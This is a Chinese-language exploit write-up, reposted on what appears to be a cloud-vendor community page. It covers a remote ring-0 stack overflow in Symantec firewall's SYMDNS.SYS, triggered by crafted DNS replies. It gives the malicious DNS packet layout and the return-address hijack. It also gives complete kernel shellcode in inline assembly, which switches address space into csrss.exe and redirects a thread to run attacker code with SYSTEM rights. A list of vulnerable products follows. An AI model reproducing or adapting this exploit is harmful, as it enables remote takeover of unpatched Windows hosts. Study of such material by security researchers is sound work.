SYMANTEC防火牆核心溢出漏洞利用之安全返回法

來源:互聯網
上載者:User
安全|防火牆
作者:SoBeIt   來自:https://www.xfocus.net

這個漏洞發生在SYMDNS.SYS中,當處理DNS回覆時,由於未檢驗總網域名稱長度,導致可以輸入一超長網域名稱導致溢出,溢出發生在RING0、IRQL = 2(DISPATCH_LEVEL)、 進程PID為0(idle進程)的環境下。

    一個DNS報文格式如下:
    "\xEB\x0B"    //報文ID,可以隨意設定,但在這個漏洞裡是別有用途的,後面會說到
    "\x80\x00"    //報文FLAG,15位置1表示這是一個回覆報文
    "\x00\x01"    //問題數量
    "\x00\x01"    //回覆數量
    "\xXX\xXX"    //授權資源記錄數,在這裡不重要,隨便設定
    "\xXX\xXX"    //格外資訊資源記錄數,在這裡不重要,隨便設定
    以上部分為DNS報文頭
    "\xXX\xXX\x..."    //網域名稱,格式為每個分段網域名稱長度+網域名稱內容,比如www.buaa.edu.cn就是
\x03\x77\x77\x77\x04\x62\x75\x61\x61\x03\x65\x64\x75\x02\x63\x6e\x00
      w   w   w       b   u   a   a       e   d   u       c   n
\x00表示到了末尾。處理的時候會把那長度記錄數換成0x2e,就是".",就完成了處理。

    在SYMDNS.SYS中處理傳入網域名稱的函數位於SYMDNS.SYS基地址+0xa76處,這個函數在堆棧裡分配了足夠的空間(事實上,最後SHELLCODE的執行並不是在堆棧中執行,而是在非分頁池中執行)。傳入的網域名稱有最大長度限制,不能超過0x40個位元組,所以我每段SHELLCODE長度都是0x3f(63)個位元組。在覆蓋了532個位元組後,覆蓋了第二個調用的返回地址,至於為什麼沒覆蓋第一個調用的返回地址我也不太清楚。這個漏洞有個特點,就是在堆棧中二次處理傳入的網域名稱,導致堆棧中SHELLCODE後半部分面目全非、慘不忍睹。但很幸運的是在我們覆蓋的返回地址所在的esp+0xc處儲存有我們整個DNS報文(包括DNS報文頭)的地址,是一個在非分頁池的地址,

74816d74 4c816c9b 816d002e 816c9e34
  |_____esp指向這                 |_______這個就是非分頁池的地址

現在大家應該知道該幹啥了吧?雖然在核心裡沒有固定的jmp [esp+0xc]、 call [esp+0xc]這樣的地址,但我們可以變通一下,使用諸如pop/pop/pop/ret這樣的指令組合,機器的控制權就交到我們手上了。不過這3條pop指令裡最好不要帶有pop ebp,不然會莫名其妙的返回到一個奇怪的地址。在strstr函數的最後有兩個pop/pop/pop/ret的組合挺合適。現在明白開頭那個報文ID的作用了吧?\xEB\x0B是一個直接跳轉的機器指令,跳過一開始沒用的DNS報文頭和第一段SHELLCODE長度計數位元組。FLASHSKY在會刊裡說要跳過長度計數位元組,但0x3f對應的指令是aas,對EAX進行ascii調整,所以在一般不影響EAX和標誌的情況下可以把這個0x3f也算作SHELLCODE的一部分,可以省下不少位元組^_^。

    現在當前環境是0號進程,要把進程地址空間切到其他進程就得先獲得那個進程的EPROCESS地址。0號進程很特別,就是該進程基本不掛在所有進程的鏈表上,比如說ActiveProcessLinks、SessionProcessLinks、WorkingSetExpansionLinks,正常情況來說只能枚舉線程的WaitListHead來枚舉所有線程並判斷進程,這樣很麻煩而已代碼很長,但天無絕人之路,在KPCR+0x55c(+55c struct _KTHREAD *NpxThread)處儲存有一個8號進程的一個線程ETHREAD地址,由ETHREAD+0x44處可以獲得該線程所屬EPROCESS的地址,而且8號進程是掛在除SessionProcessLinks之外的其它鏈表上的。下一步是切換進程地址空間,從目標進程EPROCESS+0x18處取出該進程頁目錄的物理地址並將當前CR3寄存器修改為該值既可(我一開始還修改了任務段KTSS中的CR3也為該值,結果發現這不是必須的)。然後在該進程內選擇一個合適的線程來運行我們的使用者態SHELLCODE,這個選擇很重要,因為當前IRQL = 2,任何訪問缺頁的地址都將導致IRQL_NOT_LESS_OR_EQUAL藍屏錯誤,因為缺頁會導致頁面I/O,最後會在對象上等待,這違背了不能在IRQL = 2等待對象的規則。按照一個標準的5調度狀態模型的作業系統,當一個線程等待過久就會導致該線程的核心堆棧被換出記憶體,這樣的線程我們是不能用的。所以我們需要判斷ETHREAD+=0x11e(+11e    byte     KernelStackResident)是否為TRUE。這又關係到究竟該選擇哪個系統進程,選擇系統進程這樣返回的SHELL是SYSTEM的許可權,該進程必須是個活躍的進程,才能保證每時每刻都有未被換出記憶體的線程。winlogon.exe是肯定不行的,因為在大多情況下這是一個0工作集進程。在lsass.exe、smss.exe、csrss.exe這3個進程裡我最後選擇了csrss.exe,因為WIN32的子系統無論怎樣都應該閑不住吧:),事實也證明選擇這個進程基本都可以找到合適線程。枚舉一個進程的線程可以在EPROCESS+0x50處取鏈表頭,該鏈錶鏈住了該進程的所有線程,鏈表位置在ETHREAD+0x1a4處:
struct _EPROCESS (sizeof=648)
+000 struct _KPROCESS Pcb
+050 struct _LIST_ENTRY ThreadListHead
+050 struct _LIST_ENTRY *Flink
+054 struct _LIST_ENTRY *Blink

struct _ETHREAD (sizeof=584)
+000 struct _KTHREAD Tcb
+1a4 struct _LIST_ENTRY ThreadListEntry
+1a4 struct _LIST_ENTRY *Flink
+1a8 struct _LIST_ENTRY *Blink
或者EPROCESS+0x270處取鏈表頭,鏈表位置在ETHREAD+0x240處:
struct _EPROCESS (sizeof=648)
+270 struct _LIST_ENTRY ThreadListHead
+270 struct _LIST_ENTRY *Flink
+274 struct _LIST_ENTRY *Blink

struct _ETHREAD (sizeof=584)
+240 struct _LIST_ENTRY ThreadListEntry
+240 struct _LIST_ENTRY *Flink
+244 struct _LIST_ENTRY *Blink   

    剩下的就是在該進程地址空間內分配虛擬位址,鎖定,並拷貝SHELLCODE過去,依次調用API為:ZwOpenProcess(這裡要注意,如果沒改變CR3的話這個調用會導致藍屏,因為地址空間不符)->ZwAllocateVirtualMemory->ZwLockVirtualMemory->ZwWriteVirtualMemory,為了通用性我用mov eax, API NUMBER; int 2e這樣的底層介面來調用API。在調用ZwWriteVirtualMemory之前我們得先修改該線程下次要執行的EIP,它是儲存在KTRAP_FRAME+0x68處,把它修改為我們分配的地址。KTRAP_FRAME線上程堆棧底-x29c的地方,ETHREAD+0x128直接指向該地址。記得將原來的EIP儲存在我們的使用者態SHELLCODE中,類似push 0x12345678; ret這樣的格式,代碼就會返回12345678的地址,所以在記憶體中就是\x68\x78\x56\x34\x12\xc3,覆蓋那個12345678就行了,在執行完我們的功能代碼後線程會恢複正常執行。

    最後一段是一些固定的針對該漏洞的特徵返回,恢複一些寄存器值,把ESP指向返回地址並讓EBP恢複正常。這裡我跳過了所有剩下的在SYMDNS.SYS的調用,因為那樣會從堆棧中取值,而堆棧值很多都被我們改了,所以我直接返回到tcpip!UDPDeliver處的調用,返回這裡有個好處,就是它完全不管你處理了什麼、怎麼處理,它只管檢測傳回值,很符合我們的要求,呵呵。

    這個SHELLCODE大概只有3/4的成功率,因為在有些情況下我們的DNS報文的地址不附加在esp+0xc處,還有有時會碰到進程所有線程都被換出了記憶體,還有一定的小機率會發生NDIS死結-_-有時候RP爆發時一天都沒啥問題,有時虛擬機器狂藍屏。。。所以我的利用方法還不很成熟,還希望大家一起來討論完善。有關核心溢出裡最大的問題估計就是缺頁的問題了,由於IRQL = 2下不能換頁,所以有些情況下很可能有些關鍵的地方訪問不了。一些變通的方法可以使用諸如work item,這可以在IRQL = 2下調用,然後由系統工作者線程來替我們完成工作。這都是些改進設想。搞定了安全返回的方法,現在正在KO非安全返回,估計也不是很難,但就是估計SHELLCODE會大很多。
   
    峰會上由於FLASHSKY大牛不肯透露原始碼,所以只好自己動手,豐衣足食了。這段時間由於得複習補考(上學期一不小心掛了4門#_#),所以拖了這麼久。其實代碼很早就寫好了,就是懶得寫這篇文檔。今早終於下定決心花了一上午完成了這篇文檔,估計難免有什麼錯誤,望大家指出。   

    SHELLCODE由核心SHELLCODE和使用者SHELLCODE組成,核心SHELLCODE負責返回並執行使用者SHELLCODE,使用者SHELLCODE則是普通的功能,注意得加入穿防火牆的代碼就行。下面是核心SHELLCODE代碼,轉成機器碼只有260多個位元組,基本不算太大:):
   
__declspec(naked) JustTest()
{   
    __asm
    {
        call go1
go1:
        pop eax
        push eax
        mov ebx, 0xffdff55c
        mov ebx, dword ptr [ebx]
        mov ebx, dword ptr [ebx+0x44]

        push 0x73727363
FindProcess:
        mov edi, esp
        lea esi, dword ptr [ebx+0x1fc]
        push 0x4
        pop ecx
        repe cmpsb
        jecxz go2
        mov ebx, dword ptr [ebx+0xa0]
        sub ebx, 0xa0
        jmp FindProcess
go2:       
        pop edx
        mov edx, dword ptr [ebx+0x50]
FindThread:
        movzx ecx, byte ptr [edx-0x86]
        dec ecx
        jecxz go3
        mov edx, dword ptr [edx]
        jmp FindThread
go3:
        mov eax, dword ptr [ebx+0x18]
        mov ebp, esp
        sub esp, 0x40
        push edx
        mov cr3, eax

        push 0x10
        pop ecx
        xor eax, eax
        lea edi, dword ptr [ebp-0x40]
ZeroStack:
        stosd
        loop ZeroStack
        mov byte ptr [ebp-0x38], 0x18
        lea edi, dword ptr [edx+0x3c]
        push edi
        lea edi, dword ptr [ebp-0x38]
        push edi
        lea edi, dword ptr [ebp-0x8]
        push 0x1f0fff
        push edi

        mov al, 0x6a
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x10
        test eax, eax
        jnz Failed

        mov byte ptr [ebp-0x3], 0x2
        push 0x40
        push 0x1000
        lea edi, dword ptr [ebp-0x4]
        push edi
        push eax
        lea edi, dword ptr [ebp-0xc]
        push edi
        push dword ptr [ebp-0x8]

        mov al, 0x10
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x18
        test eax, eax
        jnz Failed

        push 0x2
        lea ebx, dword ptr [ebp-0x4]
        push ebx
        lea ebx, dword ptr [ebp-0xc]
        push ebx
        push dword ptr [ebp-0x8]

        mov al, 0x59
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x10
        test eax, eax
        jnz Failed

       mov edi, dword ptr [ebp]
        pop edx
        mov edx, dword ptr [edx-0x7c]
        push dword ptr [edx+0x68]
        pop dword ptr [edi+0x210]
        push dword ptr [ebp-0xc]
        pop dword ptr [edx+0x68]
        add edi, 0x11c

        push eax
        push 0x120
        push edi
        push dword ptr [ebp-0xc]
        push dword ptr [ebp-0x8]
       
        mov al, 0xf0
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x14

Failed:
        add esp, 0xec
        xor eax, eax
        mov esi, dword ptr [esp+0x38]
        mov ebp,esp
        add ebp,0x88
        ret 0x2c
    }
}

PS:存在該漏洞的SYMANTEC產品有:
*    - Symantec Norton Internet Security 2002
*    - Symantec Norton Internet Security 2003
*    - Symantec Norton Internet Security 2004
*    - Symantec Norton Internet Security Professional 2002
*    - Symantec Norton Internet Security Professional 2003
*    - Symantec Norton Internet Security Professional 2004
*    - Symantec Norton Personal Firewall 2002
*    - Symantec Norton Personal Firewall 2003
*    - Symantec Norton Personal Firewall 2004
*    - Symantec Client Firewall 5.01, 5.1.1
*    - Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)
*    - Symantec Norton AntiSpam 2004

該代碼在windows2000 Pro build 2195 sp4的虛擬機器上測試通過,WINXP原理一樣。


相關文章

Beyond APAC's No.1 Cloud

19.6% IaaS Market Share in Asia Pacific - Gartner IT Service report, 2018

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。